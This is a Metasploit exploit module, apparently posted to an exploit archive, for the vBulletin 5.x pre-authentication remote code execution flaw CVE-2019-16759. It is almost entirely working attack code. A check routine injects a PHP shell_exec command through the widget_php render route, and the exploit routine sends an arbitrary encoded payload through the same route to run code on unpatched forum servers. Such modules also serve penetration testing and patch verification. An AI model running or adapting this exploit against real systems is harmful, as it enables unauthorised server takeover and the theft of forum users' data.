vBulletin 5.x Pre-Auth Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'vBulletin 5.x 0day pre-quth RCE exploit',  
'Description' => %q{  
vBulletin 5.x 0day pre-auth RCE exploit.  
This should work on all versions from 5.0.0 till 5.5.4  
},  
'Platform' => 'php',  
'License' => MSF_LICENSE,  
'Author' => [  
'Reported by: anonymous', # reported by  
'Original exploit by: anonymous', # original exploit  
'Metasploit mod by: r00tpgp', # metasploit module  
],  
'Payload' =>  
{  
'BadChars' => "\x22",  
},  
'References' =>  
[  
['CVE', 'CVE-2019-16759'],  
['EDB', 'NA'],  
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],  
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759']  
],  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Automatic Targeting', { 'auto' => true } ],  
# ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],  
# ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],  
],  
'DisclosureDate' => 'Sep 23 2019',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])  
])  
  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),  
'encode_params' => false,  
'vars_post' =>   
{  
'widgetConfig[code]' => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;",  
}  
})  
  
if res && res.body && res.body.include?('h4x0000r4l1f4')  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Sending payload.....")  
resp = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),  
'encode_params' => false,  
'vars_post' =>  
{  
#'widgetConfig[code]' => "echo " + payload.encoded + "exit;",  
'widgetConfig[code]' => payload.encoded,  
}  
})  
#unless resp and resp.code == 200  
# fail_with(Failure::Unknown, "Exploit failed.")  
#end  
  
#print_good("Success!")  
#print_line(resp.body)  
  
end  
end  
`